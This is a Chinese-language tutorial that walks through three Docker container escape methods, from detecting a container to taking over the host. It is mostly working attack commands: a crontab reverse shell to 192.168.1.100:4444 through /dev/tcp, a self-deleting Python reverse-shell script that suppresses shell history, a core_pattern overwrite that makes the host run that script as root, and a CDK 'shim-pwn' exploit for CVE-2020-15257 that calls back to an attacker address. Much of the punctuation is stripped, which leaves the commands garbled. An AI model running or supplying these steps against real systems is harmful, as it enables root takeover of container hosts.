三种Docker逃逸技术

发布时间:2026/7/31 14:02:32
三种Docker逃逸技术 本文详细介绍了判断Docker容器环境的方法并系统阐述了三种主要的Docker逃逸技术特权模式逃逸、危险挂载逃逸以及利用Docker自身漏洞逃逸。文章通过具体的命令操作和原理说明展示了从检测到实施逃逸的完整过程。1.判断Docker容器环境通过检查根目录下是否存在.dockerenv文件来判断当前是否处于Docker容器中。使用ls -alh命令若出现.dockerenv文件则确定在容器内。ls -alh2.特权模式逃逸2.1特权模式判断使用fdisk -l命令若成功列出磁盘信息则可能处于特权模式若出现多个Permission denied则可能为非特权模式。通过检查/proc/self/status文件内容使用egrep检索特定字符序列如0000003fffffffff或0000001fffffffff来精确判断是否为特权模式。cat /proc/self/status | egrep -qi 0000003fffffffff|0000001fffffffff echo Is privileged mode || echo Not privileged mode2.2逃逸实施步骤(1)在确认特权模式后创建目录如/test并将宿主机磁盘如/dev/sda1挂载到该目录。mkdir /test mount /dev/sda1 /test(2)通过向挂载的宿主机文件系统写入计划任务如修改/test/etc/crontab文件来添加反弹shell命令从而在宿主机上获得反向连接。反弹shellecho * * * * * root bash -i /dev/tcp/192.168.1.100/4444 01 /test/etc/crontab(3)使用nc命令在攻击机开启监听等待宿主机执行计划任务后建立连接并通过检查挂载目录下的宿主机文件如/test/root来确认逃逸成功。nc -lvvp 4444ls -alh /test/root3.危险挂载逃逸3.1挂载Docker Socket逃逸原理是通过容器内挂载的/var/run/docker.sock文件与宿主机Docker守护进程通信。若容器内无/var/run/docker.sock文件可先安装Docker客户端。查看文件ls -lah /var/run/docker.sock安装docker客户端curl -fsSL https://get.docker.com/ | sh2.利用Docker命令如docker run创建新容器并将宿主机根目录挂载到新容器内使用-v /:/host参数。创建新容器docker run -it -v /:/host ubuntu /bin/bash3.在新容器内使用chroot /host命令切换根目录到宿主机文件系统从而完成逃逸。切换根目录到宿主机文件系统chroot /host3.2挂载宿主机Procfs逃逸原理linux在程序崩溃时会生成一个core文件通过篡改宿主机生成core文件的内核配置文件core_pattern使得系统崩溃并自动执行x.py反弹shell写入x.py中此时我们只需要上传一个c文件并触发程序崩溃反弹shell成功确定是procfs逃逸利用容器内挂载的宿主机proc文件系统。使用find命令确认存在两个core_pattern路径容器内和宿主机。core_pattern是 Linux内核中控制‌核心转储Core Dump‌ 行为的关键配置项。当程序崩溃如发生段错误 Segmentation Fault时操作系统会生成一个包含进程内存快照的文件即 core 文件。core_pattern 决定了这个 core 文件‌存储在哪里‌以及‌如何命名‌。/proc/sys/kernel/core_pattern宿主机配置项/host/proc/sys/kernel/core_pattern将宿主机配置项挂载到容器环境容器在宿主机的真实存储路径。通过cat /proc/mounts | grep workdir命令寻找容器在宿主机的真实存储路径如Overlay2的工作目录在容器内创建包含反弹shell代码的Python脚本如/tmp/.x.py并赋予执行权限chmod x /tmp/.x.py。cat /tmp/.x.py EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost xx.xx.xx.xxlport xxxxdef main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close()if __name__ __main__:main()EOF篡改宿主机/host/proc/sys/kernel/core_pattern的core_pattern配置将其指向容器内的恶意脚本路径。echo -e |/var/lib/docker/overlay2/123abc789def/merged/tmp/.x.py \rcore /host/proc/sys/kernel/core_pattern-e 参数允许解释反斜杠转义字符。|‌最关键的部分‌。在 core_pattern中如果值以管道符 | 开头内核会将崩溃进程的 core dump 数据通过标准输入stdin传递给紧随其后的程序而不是保存为文件。‌该程序将以 root 权限执行‌。创建并执行一个会引起崩溃的C程序如/tmp/x.c触发核心转储机制从而执行恶意脚本使攻击机获得宿主机反弹shell。cat /tmp/x.c EOF#include stdio.hint main() {int *p; // 未初始化// 错误p 指向随机地址解引用导致非法访问*p 42;return 0;}EOF攻击机开始监听nc -lvvp 4444执行引起崩溃的代码./x逃逸成功4.Docker自身漏洞逃逸CVE-2020-15257CVE-2019-5736PoC地址https://github.com/Frichetten/CVE-2019-5736-PoC.gitCVE-2020-15257poc工具CDK云安全自动化渗透框架参考地址http://github.com/cdk-team/CDK/wiki/CDK-Home-CN1漏洞原理。CVE-2020-15257 是 containerd 组件中的一个容器逃逸漏洞。该漏洞允许攻击者在特定条件下通过访问containerd-shim的 API 套接字在宿主机上以 root 权限执行任意命令从而完全控制宿主机。主要原理containerd-shim 用于管理容器生命进程它通过抽象 Unix 域套接字Abstract Unix Domain Socket暴露 API。在旧版本中该套接字的访问控制仅验证连接进程的有效 UID 是否为 0root而未严格限制网络命名空间。当容器使用 --nethost模式启动时容器与宿主机共享网络命名空间使得容器内的 root 用户可以直接访问宿主机的 containerd-shim API 套接字。2漏洞利用前提。要成功利用此漏洞必须同时满足以下三个条件一是‌Containerd 版本过低‌containerd 版本低于 1.3.9 或 1.4.3。二是‌容器使用主机网络‌容器启动时使用了--nethost(Docker) 或hostNetwork: true(Kubernetes)导致容器与宿主机共享网络命名空间。三是‌容器内为 Root 用户‌容器内的进程以 UID 0 (root) 运行。如果容器内是非 root 用户则无法通过 UID 验证。3漏洞利用下载CDK工具wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_linux_amd64chmod x cdk_linux_amd64上传至容器环境docker cp cdk_linux_amd64 vuln-container:/tmp/docker exec -it vuln-container /bin/bashcd /tmp执行漏洞利用程序# 语法: ./cdk run shim-pwn attack-ip port./cdk_linux_amd64 run shim-pwn 192.168.1.100 4444